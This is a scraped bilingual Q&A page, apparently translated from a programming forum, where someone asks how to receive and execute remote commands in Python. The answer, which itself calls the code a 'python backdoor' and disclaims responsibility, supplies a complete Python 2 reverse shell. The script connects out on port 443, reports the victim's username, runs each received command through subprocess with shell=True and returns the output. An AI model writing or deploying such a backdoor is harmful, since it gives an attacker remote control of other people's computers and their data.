[英]How to execute cmd commands from a client using subprocess
How can I receive and execute commands using subprocess module.如何使用 subprocess 模块接收和执行命令。 I want to receive a buffer from a remote computer and execute it on my own.
我想从远程计算机接收缓冲区并自行执行。
import socket,subprocess
HOST = ''
PORT =
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
s.send('[*] Connection Established!')
while 1:
data = s.recv(1024)
if data == "quit": break
proc = subprocess.Popen(cmd.exe, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
stdout_value =proc.communicate('dir c:\\')
s.send(stdout_value)
s.close()
I dont know what you are going to use this for but if it is something illegal, you will most definitely get caught as a python backdoor is very easy to detect and packaging it as an exe would have significant size.我不知道你打算用它做什么,但如果它是非法的,你肯定会被抓住,因为 python 后门很容易被检测到,并将它打包为一个 exe 会具有很大的大小。
Anyway I am not responsible for what you do with this but here you go无论如何,我不对你用这个做什么负责,但你去吧
import getpass
import socket
import subprocess
username = getpass.getuser()
host = socket.gethostbyname('')
port = 443
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connection = None
while connection is None:
try:
connection = s.connect((host, port))
s.send("[+] We are connected to %s" % username)
while True:
try:
exec_code = s.recv(1024)
if exec_code == "quit":
break
else:
proc = subprocess.Popen(exec_code, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
stdout_value = proc.stdout.read() + proc.stderr.read()
s.send(stdout_value)
except Exception, err:
print err
except Exception, e:
print e
s.close()
声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.